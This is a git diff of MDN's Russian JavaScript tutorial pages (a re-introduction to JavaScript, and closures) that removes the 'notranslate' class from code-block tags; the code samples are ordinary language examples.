Boolean(234); // true </pre> @@ -168,13 +168,13 @@ Boolean(234); // true <p>Для объявления новых переменных в JavaScript используются ключевые слова <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> или <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var" title="/en/JavaScript/Reference/Statements/var">var</a></code>.</p> -<pre class="brush: js notranslate">let a; +<pre class="brush: js">let a; let name = "Simon"; </pre> <p><strong><code>let</code> </strong>позволяет объявлять переменные, которые доступны только в <em><strong>блоке</strong>,</em> в котором они объявлены:</p> -<pre class="brush: js notranslate">// myLetVariable недоступна здесь +<pre class="brush: js">// myLetVariable недоступна здесь for (let myLetVariable = 0; myLetVariable < 5; myLetVariable++) { // myLetVariable доступна только здесь @@ -184,17 +184,17 @@ for (let myLetVariable = 0; myLetVariable < 5; myLetVariable++) { <p><code><strong>const</strong></code> позволяет создавать переменные, чьи значения не предполагают изменений. Переменная доступна из <em><strong>блока</strong></em>, в котором она объявлена.</p> -<pre class="brush: js notranslate">const Pi = 3.14; // в переменную Pi записано значение. +<pre class="brush: js">const Pi = 3.14; // в переменную Pi записано значение. Pi = 1; // вызовет исключение, так как значение константы нельзя изменить.</pre> <p><code><strong>var</strong></code> наиболее общее средство объявления переменной. Оно не имеет ограничений, которые имеют два вышеописанных способа. Это потому, что это был изначально единственный способ объявления переменной в JavaScript. Переменная, объявленная с помощью <strong><code>var</code>, </strong>доступна в пределах <strong><em>функции</em></strong>, в которой она объявлена.</p> -<pre class="brush: js notranslate">var a; +<pre class="brush: js">var a; var name = 'Simon';</pre> <p>Пример кода с переменной, объявленной с помощью <strong><code>var</code>:</strong></p> -<pre class="brush: js notranslate">// myVarVariable доступна здесь +<pre class="brush: js">// myVarVariable доступна здесь for (var myVarVariable = 0; myVarVariable < 5; myVarVariable++) { // myVarVariable доступна для всей функции @@ -210,7 +210,7 @@ for (var myVarVariable = 0; myVarVariable < 5; myVarVariable++) { <p>JavaScript поддерживает такие операторы, как <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> и <code>%</code>, который возвращает остаток от деления (<a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder_%28%29">не путать с модулем</a>). Значения присваиваются с помощью оператора <code>=</code>, или с помощью составных операторов <code>+=</code> и <code>-=</code>. Это сокращённая запись выражения <code><strong>x = x </strong><em>оператор</em><strong> y</strong></code>.</p> -<pre class="brush: js notranslate">x += 5 +<pre class="brush: js">x += 5 x = x + 5 </pre> @@ -218,12 +218,12 @@ x = x + 5 <p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/String_Operators">Оператор <code>+</code></a> так же выполняет конкатенацию (объединение) строк:</p> -<pre class="brush: js notranslate">"hello" + " world"; // "hello world" +<pre class="brush: js">"hello" + " world"; // "hello world" </pre> <p>При сложении строкового и числового значений происходит автоматическое преобразование в строку. Поначалу такое может запутать:</p> -<pre class="brush: js notranslate">"3" + 4 + 5; // "345" +<pre class="brush: js">"3" + 4 + 5; // "345" 3 + 4 + "5"; // "75" </pre> @@ -231,12 +231,12 @@ x = x + 5 <p>Для <a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">сравнения</a> в JavaScript используются следующие операторы: <code><</code>, <code>></code>, <code><=</code> и <code>>=</code>. Сравнивать можно не только числа, но и строки. Проверка на равенство немного сложнее. Для проверки используют двойной (<code>==</code>) или тройной (<code>===</code>) оператор присваивания. Двойной оператор <code>==</code> осуществляет автоматическое преобразование типов, что может приводить к интересным результатам:</p> -<pre class="brush: js notranslate">123 == "123"; // true +<pre class="brush: js">123 == "123"; // true 1 == true; // true</pre> <p>Если преобразование нежелательно, то используют оператор строгого равенства:</p> -<pre class="brush: js notranslate">1 === true; // false +<pre class="brush: js">1 === true; // false 123 === "123"; // false true === true; // true</pre> @@ -248,7 +248,7 @@ true === true; // true</pre> <p>Управляющие структуры в JavaScript очень похожи на таковые в языках семейства C. Условные операторы выражены ключевыми словами <code>if</code> и <code>else</code>, которые можно составлять в цепочки:</p> -<pre class="brush: js notranslate">var name = "kittens"; +<pre class="brush: js">var name = "kittens"; if (name == "puppies") { name += "!"; } else if (name == "kittens") { @@ -261,7 +261,7 @@ name == "kittens!!" <p>В JavaScript есть три типа циклов: <code>while</code>, <code>do-while</code> и <code>for</code>. While используется для задания обычного цикла, а do-while целесообразно применить в том случае, если вы хотите, чтобы цикл был выполнен хотя бы один раз:</p> -<pre class="brush: js notranslate">while (true) { +<pre class="brush: js">while (true) { // бесконечный цикл! } @@ -273,41 +273,41 @@ do { <p>Цикл <code>for</code> похож на такой же в языках C и Java: он позволяет задавать данные для контроля за выполнением цикла:</p> -<pre class="brush: js notranslate">for (var i = 0; i < 5; i++) { +<pre class="brush: js">for (var i = 0; i < 5; i++) { // Выполнится 5 раз } </pre> <p>JavaScript также содержит две других известных конструкции: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a></p> -<pre class="brush: js notranslate">for (let value of array) { +<pre class="brush: js">for (let value of array) { // операции с value }</pre> <p>и <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a>:</p> -<pre class="brush: js notranslate">for (let property in object) { +<pre class="brush: js">for (let property in object) { // операции над свойствами объекта }</pre> <p>Логические операторы <code>&&</code> и <code>||</code> используют "короткий цикл вычисления", это значит, что вычисление каждого последующего оператора зависит от предыдущего. Например, полезно проверить существует ли объект или нет, прежде чем пытаться получить доступ к его свойствам:</p> -<pre class="brush: js notranslate">var name = o && o.getName(); +<pre class="brush: js">var name = o && o.getName(); </pre> <p>Таким способом удобно задавать значения по умолчанию:</p> -<pre class="brush: js notranslate">var name = otherName || "default"; +<pre class="brush: js">var name = otherName || "default"; </pre> <p>К условным операторам в JavaScript принадлежит также тернарный оператор "<code>?</code>" :</p> -<pre class="brush: js notranslate">var allowed = (age > 18) ? "yes" : "no"; +<pre class="brush: js">var allowed = (age > 18) ? "yes" : "no"; </pre> <p>Оператор <code>switch</code> используется при необходимости множественного сравнения:</p> -<pre class="brush: js notranslate">switch(action) { +<pre class="brush: js">switch(action) { case 'draw': drawit(); break; @@ -321,7 +321,7 @@ do { <p>Если в конце инструкции <code>case</code> не добавить останавливающую инструкцию <code>break</code>, то выполнение перейдёт к следующей инструкции <code>case</code>. Как правило, такое поведение нежелательно, но если вдруг вы решили его использовать, настоятельно рекомендуем писать соответствующий комментарий для облегчения поиска ошибок:</p> -<pre class="brush: js notranslate">switch(a) { +<pre class="brush: js">switch(a) { case 1: // fallthrough case 2: eatit(); @@ -333,7 +333,7 @@ do { <p>Вариант <code>default</code> опциональный. Допускается использование выражений как в условии <code>switch</code>, так и в <code>cases</code>. При проверке на равенство используется оператор строгого равенства <code>===</code>:</p> -<pre class="brush: js notranslate">switch(1 + 3) { +<pre class="brush: js">switch(1 + 3) { case 2 + 2: yay(); break; @@ -358,19 +358,19 @@ do { <p>Существует два основных способа создать объект:</p> -<pre class="brush: js notranslate">var obj = new Object(); +<pre class="brush: js">var obj = new Object(); </pre> <p>А также:</p> -<pre class="brush: js notranslate">var obj = {}; +<pre class="brush: js">var obj = {}; </pre> <p>Обе эти записи делают одно и то же. Вторая запись называется литералом объекта и более удобная. Такой способ является основой формата JSON, и при написании кода лучше использовать именно его.</p> <p>С помощью литерала объекта можно создавать не только пустые объекты, но и объекты с данными:</p> -<pre class="brush: js notranslate">var obj = { +<pre class="brush: js">var obj = { name: "Carrot", "for": "Max", details: { @@ -382,12 +382,12 @@ do { <p>Доступ к свойствам объекта можно получить следующими способами:</p> -<pre class="brush: js notranslate">obj.details.color; // orange +<pre class="brush: js">obj.details.color; // orange obj['details']['size']; // 12</pre> <p>Эти два метода равнозначны. Первый метод используется, если мы точно знаем к какому методу нам нужно обратиться. Второй метод принимает в качестве имени свойства строку, и позволяет вычислять имя в процессе вычислений. Следует отметить, что последний метод мешает некоторым движкам и минимизаторам оптимизировать код. Если появится необходимость назначить в качестве имён свойств объекта <a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords" title="en/Core_JavaScript_1.5_Reference/Reserved_Words">зарезервированные слова</a>, то данный метод тоже может пригодиться:</p> -<pre class="brush: js notranslate">// Вызовет Syntax error, ведь 'for' это зарезервированное слово +<pre class="brush: js">// Вызовет Syntax error, ведь 'for' это зарезервированное слово obj.for = "Simon"; // А тут всё нормально @@ -413,7 +413,7 @@ obj["for"] = "Simon"; <p>Создать массив можно по старинке:</p> -<pre class="brush: js notranslate">var a = new Array(); +<pre class="brush: js">var a = new Array(); a[0] = "dog"; a[1] = "cat"; a[2] = "hen"; @@ -422,13 +422,13 @@ a.length; // 3 <p>Но гораздо удобнее использовать литерал массива:</p> -<pre class="brush: js notranslate">var a = ["dog", "cat", "hen"]; +<pre class="brush: js">var a = ["dog", "cat", "hen"]; a.length; // 3 </pre> <p>Запомните, свойство <code>array.length</code> не обязательно будет показывать количество элементов в массиве. Посмотрите пример:</p> -<pre class="brush: js notranslate">var a = ["dog", "cat", "hen"]; +<pre class="brush: js">var a = ["dog", "cat", "hen"]; a[100] = "fox"; a.length; // 101 </pre> @@ -437,19 +437,19 @@ a.length; // 101 <p>Если попытаться получить доступ к несуществующему элементу массива, то получите <code>undefined</code>:</p> -<pre class="brush: js notranslate">typeof a[90]; // undefined +<pre class="brush: js">typeof a[90]; // undefined </pre> <p>Для перебора элементов массива используйте такой способ:</p> -<pre class="brush: js notranslate">for (var i = 0; i < a.length; i++) { +<pre class="brush: js">for (var i = 0; i < a.length; i++) { // Сделать что-нибудь с элементом a[i] } </pre> <p>ES2015 представляет более краткий <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a> способ обхода по итерируемым объектам, в т.ч. массивам:</p> -<pre class="notranslate"><code>for (const currentValue of a) { +<pre><code>for (const currentValue of a) { // С</code>делать что-нибудь с<code> currentValue }</code> </pre> @@ -458,13 +458,13 @@ a.length; // 101 <p>И самый новый способ перебора свойств массива был добавлен в ECMAScript 5 — это метод <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">forEach()</a>:</p> -<pre class="brush: js notranslate">["dog", "cat", "hen"].forEach(function(currentValue, index, array) { +<pre class="brush: js">["dog", "cat", "hen"].forEach(function(currentValue, index, array) { // Сделать что-нибудь с currentValue или array[index] });</pre> <p>Для добавления данных в массив используйте метод <code>push()</code>:</p> -<pre class="brush: js notranslate">a.push(item);</pre> +<pre class="brush: js">a.push(item);</pre> <p>У массивов есть ещё множество полезных методов. С их полным списком вы можете ознакомиться <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">по ссылке</a>.</p> @@ -531,7 +531,7 @@ a.length; // 101 <p>Наряду с объектами функции также являются ключевыми компонентами языка JavaScript. Базовые функции очень просты:</p> -<pre class="brush: js notranslate">function add(x, y) { +<pre class="brush: js">function add(x, y) { var total = x + y; return total; } @@ -541,17 +541,17 @@ a.length; // 101 <p>Можно вызвать функцию, вообще не передавая ей параметры. В таком случае будет считаться, что их значения равны <code>undefined</code>:</p> -<pre class="brush: js notranslate">add(); // NaN +<pre class="brush: js">add(); // NaN // Нельзя проводить сложение undefined и undefined</pre> <p>Можно передать больше аргументов, чем ожидает функция:</p> -<pre class="brush: js notranslate">add(2, 3, 4); // 5 +<pre class="brush: js">add(2, 3, 4); // 5 // используются только первые два аргумента, "4" игнорируется</pre> <p>Это может показаться бессмысленным, но на самом деле функции могут получить доступ к "лишним" аргументам с помощью псевдомассива <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments" title="En/Core_JavaScript_1.5_Reference/Functions_and_function_scope/arguments"><code>arguments</code></a>, в нём содержатся значения всех аргументов, переданных функции. Давайте напишем функцию, которая принимает неограниченное количество аргументов:</p> -<pre class="brush: js notranslate">function add() { +<pre class="brush: js">function add() { var sum = 0; for (var i = 0, j = arguments.length; i < j; i++) { sum += arguments[i]; @@ -564,7 +564,7 @@ add(2, 3, 4, 5); // 14 <p>Или создадим функцию для вычисления среднего значения:</p> -<pre class="brush: js notranslate">function avg() { +<pre class="brush: js">function avg() { var sum = 0; for (var i = 0, j = arguments.length; i < j; i++) { sum += arguments[i]; @@ -576,7 +576,7 @@ avg(2, 3, 4, 5); // 3.5 <p>Это довольно полезно, но при этом кажется излишне подробным. Для уменьшения количества кода взглянем на замену использования массива аргументов <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">синтаксисом остаточных параметров</a>. В этом случае мы можем передавать в функцию любое количество аргументов, сохраняя код минималистичным. <strong>Оператор остаточных параметров</strong> используется в списке параметров функции в формате: <strong>...variable</strong> и включает в себя целый список аргументов, с которыми функция будет вызвана. Мы будем также использовать замену цикла <strong>for</strong> циклом <strong>for...of</strong> для получения значений, которые будет содержать наша переменная.</p> -<pre class="brush: js notranslate">function avg(...args) { +<pre class="brush: js">function avg(...args) { var sum = 0; for (let value of args) { sum += value; @@ -592,7 +592,7 @@ avg(2, 3, 4, 5); // 3.5</pre> Важно отметить, что где бы ни был размещён <em>rest parameter operator</em> в объявлении функции, он будет содержать все аргументы <em>после</em> его объявления, не раньше. например: <em>function</em> <em>avg(</em><strong>firstValue, </strong><em>...args)</em><strong> </strong>будет хранить первое переданное значение в переменной <strong>firstValue </strong>и оставшиеся в <strong>args</strong>. Это ещё одно полезное свойство языка, однако оно ведёт нас к новой проблеме. <code>avg()</code> функция принимает список аргументов, разделённый запятыми. Но что если вы хотите найти среднее значение в массиве? Вы можете переписать функцию следующим образом:</p> </div> -<pre class="brush: js notranslate">function avgArray(arr) { +<pre class="brush: js">function avgArray(arr) { var sum = 0; for (var i = 0, j = arr.length; i < j; i++) { sum += arr[i]; @@ -604,7 +604,7 @@ avgArray([2, 3, 4, 5]); // 3.5</pre> <p>На тот случай, если вы хотите использовать первый вариант функции, а не переписывать её заново, то в JavaScript есть возможность вызывать функцию с произвольным массивом аргументов. Для этого используется метод <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function/apply">apply()</a>:</code></p> -<pre class="brush: js notranslate">avg.apply(null, [2, 3, 4, 5]); // 3.5 +<pre class="brush: js">avg.apply(null, [2, 3, 4, 5]); // 3.5 </pre> <p>Вторым аргументом метода <code>apply()</code> передаётся массив, который будет передан функции в качестве аргументов. О первом аргументе мы поговорим позже. Наличие у функций методов также говорит о том, что на самом деле они являются объектами.</p> @@ -617,7 +617,7 @@ avgArray([2, 3, 4, 5]); // 3.5</pre> <p>В JavaScript можно создавать анонимные функции:</p> -<pre class="brush: js notranslate">var avg = function() { +<pre class="brush: js">var avg = function() { var sum = 0; for (var i = 0, j = arguments.length; i < j; i++) { sum += arguments[i]; @@ -628,7 +628,7 @@ avgArray([2, 3, 4, 5]); // 3.5</pre> <p>Данная запись семантически равнозначна записи <code>function</code> <code>avg()</code>. Это даёт возможность использовать разные интересные трюки. Вот посмотрите, как можно "спрятать" локальные переменные в функции:</p> -<pre class="brush: js notranslate">var a = 1; +<pre class="brush: js">var a = 1; var b = 2; (function() { var b = 3; @@ -640,7 +640,7 @@ b; // 2 <p>В JavaScript есть возможность рекурсивного вызова функции. Это может оказаться полезным при работе с иерархическими (древовидными) структурами данных (например такие, которые встречаются при работе с <a href="/ru/DOM" title="en/DOM">DOM</a>).</p> -<pre class="brush: js notranslate">function countChars(elm) { +<pre class="brush: js">function countChars(elm) { if (elm.nodeType == 3) { // TEXT_NODE return elm.nodeValue.length; } @@ -654,7 +654,7 @@ b; // 2 <p>Тут мы сталкиваемся с проблемой: как вызвать функцию рекурсивно, если у неё нет имени? Для этого в JavaScript есть именованные функциональные выражения <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFEs (Immediately Invoked Function Expressions)</a>. Вот пример использования именованной самовызывающейся функции:</p> -<pre class="brush: js notranslate">var charsInBody = (function counter(elm) { +<pre class="brush: js">var charsInBody = (function counter(elm) { if (elm.nodeType == 3) { // TEXT_NODE return elm.nodeValue.length; } @@ -675,7 +675,7 @@ b; // 2 <p>В классическом Объектно-Ориентированном Программировании (ООП) объекты — это коллекции данных и методов, которые этими данными оперируют. JavaScript - это язык, основанный на прототипах, и в его определении нет понятия классов, таких, как в языках C++ или Java. (Иногда это может запутать программистов, знакомых с языками, в которых есть классы.) Вместо классов JavaScript использует функции. Давайте представим объект с личными данными, содержащий поля с именем и фамилией. Есть два типа отображения имён: "Имя Фамилия" или "Фамилия, Имя". С помощью объектов и функций можно сделать следующее:</p> <div class="blockIndicator warning"> -<pre class="brush: js notranslate">function makePerson(first, last) { +<pre class="brush: js">function makePerson(first, last) { return { first: first, last: last @@ -698,7 +698,7 @@ personFullNameReversed(s); // Willison, Simon <p>Работает, но сам код никуда не годится. С таким подходом у вас будут десятки функций, засоряющих глобальный объект. Это можно исправить, прикрепив функцию к объекту. Это просто, ведь все функции и есть объекты:</p> -<pre class="brush: js notranslate">function makePerson(first, last) { +<pre class="brush: js">function makePerson(first, last) { return { first: first, last: last, @@ -717,7 +717,7 @@ s.fullNameReversed(); // Willison, Simon <p>А вот кое-что новенькое: ключевое слово '<code><a href="/ru/docs/Web/JavaScript/Reference/Operators/this" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator">this</a></code>'. Когда '<code>this</code>' используется внутри функции, оно ссылается на текущий объект. Значение ключевого слова зависит от способа вызова функции. Если вызвать функцию с обращением к объекту через <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="en/Core_JavaScript_1.5_Reference/Operators/Member_Operators">точку или квадратные скобки</a>, то '<code>this</code>' получится равным данному объекту. В ином случае '<code>this</code>' будет ссылаться на глобальный объект. Это часто приводит к ошибкам. Например:</p> -<pre class="brush: js notranslate">s = makePerson("Simon", "Willison") +<pre class="brush: js">s = makePerson("Simon", "Willison") var fullName = s.fullName; fullName(); // undefined undefined </pre> @@ -726,7 +726,7 @@ fullName(); // undefined undefined <p>Используя особенность ключевого слова '<code>this</code>', можно улучшить код функции <code>makePerson</code>:</p> -<pre class="brush: js notranslate">function Person(first, last) { +<pre class="brush: js">function Person(first, last) { this.first = first; this.last = last; this.fullName = function() { @@ -745,7 +745,7 @@ var s = new Person("Simon", "Willison"); <p>Каждый раз, когда с помощью конструктора создаётся новый объект, мы заново создаём и две новые функции. Гораздо удобнее создать эти функции отдельно и дать доступ к ним конструктору:</p> -<pre class="brush: js notranslate">function personFullName() { +<pre class="brush: js">function personFullName() { return this.first + ' ' + this.last; } function personFullNameReversed() { @@ -761,7 +761,7 @@ function Person(first, last) { <p>Уже лучше: мы создали функции-методы только один раз, а при новом вызове функции-конструктора просто ссылаемся на них. Можно сделать ещё лучше? Конечно:</p> -<pre class="brush: js notranslate">function Person(first, last) { +<pre class="brush: js">function Person(first, last) { this.first = first; this.last = last; } @@ -777,7 +777,7 @@ function Person(first, last) { <p>Это очень мощный инструмент. JavaScript позволяет изменять прототипы в любое время, это значит, что можно добавлять новые методы к существующим объектам во время выполнения программы:</p> -<pre class="brush: js notranslate">s = new Person("Simon", "Willison"); +<pre class="brush: js">s = new Person("Simon", "Willison"); s.firstNameCaps(); // TypeError on line 1: s.firstNameCaps is not a function @@ -789,7 +789,7 @@ s.firstNameCaps(); // "SIMON" <p>Занимательно то, что добавлять свойства в прототип можно и для встроенных объектов JavaScript. Давайте добавим новый метод <code>reversed </code>классу <code>String</code>, этот метод будет возвращать строку задом наперёд:</p> -<pre class="brush: js notranslate">var s = "Simon"; +<pre class="brush: js">var s = "Simon"; s.reversed()<code>; // TypeError on line 1: s.reversed is not a function</code> String.prototype.reversed = function <code>reversed</code>() { @@ -804,13 +804,13 @@ s.reversed(); // "nomiS" <p>Данный метод будет работать даже на литералах строки!</p> -<pre class="brush: js notranslate">"This can now be reversed".reversed(); +<pre class="brush: js">"This can now be reversed".reversed(); // desrever eb won nac sihT </pre> <p>Как уже упоминалось, prototype формирует часть цепочки. Конечным объектом этой цепочки прототипов является <code>Object.prototype</code>, методы которого включают и <code>toString()</code> — тот метод, который вызывается тогда, когда надо получить строковое отображение объекта. Вот что можно сделать с нашими объектами <code>Person</code>:</p> -<pre class="brush: js notranslate">var s = new Person("Simon", "Willison"); +<pre class="brush: js">var s = new Person("Simon", "Willison"); s.toString(); // [object Object] Person.prototype.toString = function() { @@ -821,7 +821,7 @@ s.toString(); // "<Person: Simon Willison>"</pre> <p>Помните, мы вызывали <code>avg.apply()</code> с первым аргументом равным null? Теперь мы можем сделать так: первым аргументом, переданным методу <code>apply()</code> будет объект, который примет значение '<code>this</code>'. Вот к примеру упрощённая реализация '<code>new</code>':</p> -<pre class="brush: js notranslate">function trivialNew(constructor, ...args) { +<pre class="brush: js">function trivialNew(constructor, ...args) { var o = {}; // Создаём новый объект constructor.apply(o, args); return o; @@ -832,15 +832,15 @@ s.toString(); // "<Person: Simon Willison>"</pre> <p>Вызов</p> -<pre class="brush: js notranslate">var bill = trivialNew(Person, 'William', 'Orange');</pre> +<pre class="brush: js">var bill = trivialNew(Person, 'William', 'Orange');</pre> <p>практически полностью эквивалентен этому:</p> -<pre class="brush: js notranslate">var bill = new Person('William', 'Orange');</pre> +<pre class="brush: js">var bill = new Person('William', 'Orange');</pre> <p>В JavaScript метод <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply()</a></code> имеет похожий метод <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function/call"><code>call()</code></a>, который тоже позволяет устанавливать '<code>this</code>', но принимает список, а не массив аргументов.</p> -<pre class="brush: js notranslate">function lastNameCaps() { +<pre class="brush: js">function lastNameCaps() { return this.last.toUpperCase(); } var s = new Person("Simon", "Willison"); @@ -853,7 +853,7 @@ s.lastNameCaps(); <code>// WILLISON</code></pre> <p>Объявлять новые функции можно и внутри других функций. Мы использовали этот приём чуть выше, создавая функцию <code>makePerson()</code>. Главная особенность вложенных функций в том, что они получают доступ к переменным, объявленным в их функции-родителе:</p> -<pre class="brush: js notranslate">function parentFunc() { +<pre class="brush: js">function parentFunc() { var a = 1; function nestedFunc() { @@ -871,7 +871,7 @@ s.lastNameCaps(); <code>// WILLISON</code></pre> <p>Мы подошли к одному из самых мощных и непонятных инструментов JavaScript. Давайте разберёмся.</p> -<pre class="brush: js notranslate">function makeAdder(a) { +<pre class="brush: js">function makeAdder(a) { return function(b) { return a + b; }; @@ -887,7 +887,7 @@ y(7); // ? <p>Такой же фокус мы наблюдали в предыдущем примере, когда внутренние функции получали доступ к переменным той функции, в которой были объявлены. Только в нашем примере основная функция возвращает вложенную. Поначалу может показаться, что локальные переменные при этом перестанут существовать. Но они продолжают существовать — иначе код попросту не сработал бы. Вдобавок ко всему у нас есть две разные "копии" функции <code>makeAdder</code>, присвоенные разным переменным (одна копия, в которой <code>а</code> - это 5, а во второй <code>а</code> - это 20). Вот что имеем в результате вызова:</p> -<pre class="brush: js notranslate">x(6); // возвратит 11 +<pre class="brush: js">x(6); // возвратит 11 y(7); // возвратит 27 </pre> diff --git a/files/ru/web/javascript/closures/index.html b/files/ru/web/javascript/closures/index.html index 5d8d80d292..c9d5c026fe 100644 --- a/files/ru/web/javascript/closures/index.html +++ b/files/ru/web/javascript/closures/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Closures <p>Рассмотрим следующий пример:</p> <div> -<pre class="brush: js notranslate">function init() { +<pre class="brush: js">function init() { var name = "Mozilla"; // name - локальная переменная, созданная в init function displayName() { // displayName() - внутренняя функция, замыкание alert (name); // displayName() использует переменную, объявленную в родительской функции @@ -35,7 +35,7 @@ init();</pre> <p>Рассмотрим следующий пример:</p> -<pre class="brush: js notranslate">function makeFunc() { +<pre class="brush: js">function makeFunc() { var name = "Mozilla"; function displayName() { alert(name); @@ -55,7 +55,7 @@ myFunc(); <p>А вот немного более интересный пример — функция <code>makeAdder</code>:</p> -<pre class="brush: js notranslate">function makeAdder(x) { +<pre class="brush: js">function makeAdder(x) { return function(y) { return x + y; }; @@ -84,7 +84,7 @@ console.log(add10(2)); // 12 <p>Давайте рассмотрим практический пример: допустим, мы хотим добавить на страницу несколько кнопок, которые будут менять размер текста. Как вариант, мы можем указать свойство font-size на элементе body в пикселах, а затем устанавливать размер прочих элементов страницы (таких, как заголовки) с использованием относительных единиц em:</p> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { font-family: Helvetica, Arial, sans-serif; font-size: 12px; } @@ -102,7 +102,7 @@ h2 { <p>Используем следующий JavaScript:</p> -<pre class="brush: js notranslate">function makeSizer(size) { +<pre class="brush: js">function makeSizer(size) { return function() { document.body.style.fontSize = size + 'px'; }; @@ -115,12 +115,12 @@ var size16 = makeSizer(16); <p>Теперь <code>size12</code>, <code>size14</code>, и <code>size16</code> - это функции, которые меняют размер текста в элементе body на значения 12, 14, и 16 пикселов, соответственно. После чего мы цепляем эти функции на кнопки примерно так:</p> -<pre class="brush: js notranslate">document.getElementById('size-12').onclick = size12; +<pre class="brush: js">document.getElementById('size-12').onclick = size12; document.getElementById('size-14').onclick = size14; document.getElementById('size-16').onclick = size16; </pre> -<pre class="brush: html notranslate"><a href="#" id="size-12">12</a> +<pre class="brush: html"><a href="#" id="size-12">12</a> <a href="#" id="size-14">14</a> <a href="#" id="size-16">16</a> </pre> @@ -135,7 +135,7 @@ document.getElementById('size-16').onclick = size16; <p>Код ниже иллюстрирует, как можно использовать замыкания для определения публичных функций, которые имеют доступ к закрытым от пользователя (private) функциям и переменным. Такая манера программирования называется <a class="external" href="http://www.google.com/search?q=javascript+module+pattern">модульное программирование</a>: </p> -<pre class="brush: js notranslate">var Counter = (function() { +<pre class="brush: js">var Counter = (function() { var privateCounter = 0; function changeBy(val) { privateCounter += val; @@ -169,7 +169,7 @@ alert(Counter.value()); /* Alerts 1 */ <p>Заметьте, мы описываем анонимную функцию, создающую счётчик, и тут же запускаем её, присваивая результат исполнения переменной <code>Counter</code>. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:</p> -<pre class="brush: js notranslate">var makeCounter = function() { +<pre class="brush: js">var makeCounter = function() { var privateCounter = 0; function changeBy(val) { privateCounter += val; @@ -206,13 +206,13 @@ alert(Counter2.value()); /* Alerts 0 */ <p>До того, как в версии ECMAScript 6 ввели ключевое слово <a href="/en-US/docs/JavaScript/Reference/Statements/let" title="let"><code>let</code></a>, постоянно возникала следующая проблема при создании замыканий внутри цикла. Рассмотрим пример:</p> -<pre class="brush: html notranslate"><p id="help">Helpful notes will appear here</p> +<pre class="brush: html"><p id="help">Helpful notes will appear here</p> <p>E-mail: <input type="text" id="email" name="email"></p> <p>Name: <input type="text" id="name" name="name"></p> <p>Age: <input type="text" id="age" name="age"></p> </pre> -<pre class="brush: js notranslate">function showHelp(help) { +<pre class="brush: js">function showHelp(help) { document.getElementById('help').innerHTML = help; } @@ -244,7 +244,7 @@ setupHelp(); <p>В качестве решения в этом случае можно предложить использование функции, фабричной функции (function factory), как уже было описано выше в примерах:</p> -<pre class="brush: js notranslate">function showHelp(help) { +<pre class="brush: js">function showHelp(help) { document.getElementById('help').innerHTML = help; } @@ -282,7 +282,7 @@ setupHelp(); <p>Давайте рассмотрим не очень практичный, но показательный пример:</p> -<pre class="brush: js notranslate">function MyObject(name, message) { +<pre class="brush: js">function MyObject(name, message) { this.name = name.toString(); this.message = message.toString(); this.getName = function() { @@ -297,7 +297,7 @@ setupHelp(); <p>Поскольку вышеприведённый код никак не использует преимущества замыканий, его можно переписать следующим образом:</p> -<pre class="brush: js notranslate">function MyObject(name, message) { +<pre class="brush: js">function MyObject(name, message) { this.name = name.toString(); this.message = message.toString(); } @@ -313,7 +313,7 @@ MyObject.prototype = { <p>Методы вынесены в прототип. Тем не менее, переопределять прототип — само по себе является плохой привычкой, поэтому давайте перепишем всё так, чтобы новые методы просто добавились к уже существующему прототипу.</p> -<pre class="brush: js notranslate">function MyObject(name, message) { +<pre class="brush: js">function MyObject(name, message) { this.name = name.toString(); this.message = message.toString(); } @@ -327,7 +327,7 @@ MyObject.prototype.getMessage = function() { <p>Код выше можно сделать аккуратнее:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">MyObject<span class="punctuation token" style="color: #999999;">(</span></span>name<span class="punctuation token" style="color: #999999;">,</span> message<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">MyObject<span class="punctuation token" style="color: #999999;">(</span></span>name<span class="punctuation token" style="color: #999999;">,</span> message<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>name <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> name<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">toString<span class="punctuation token" 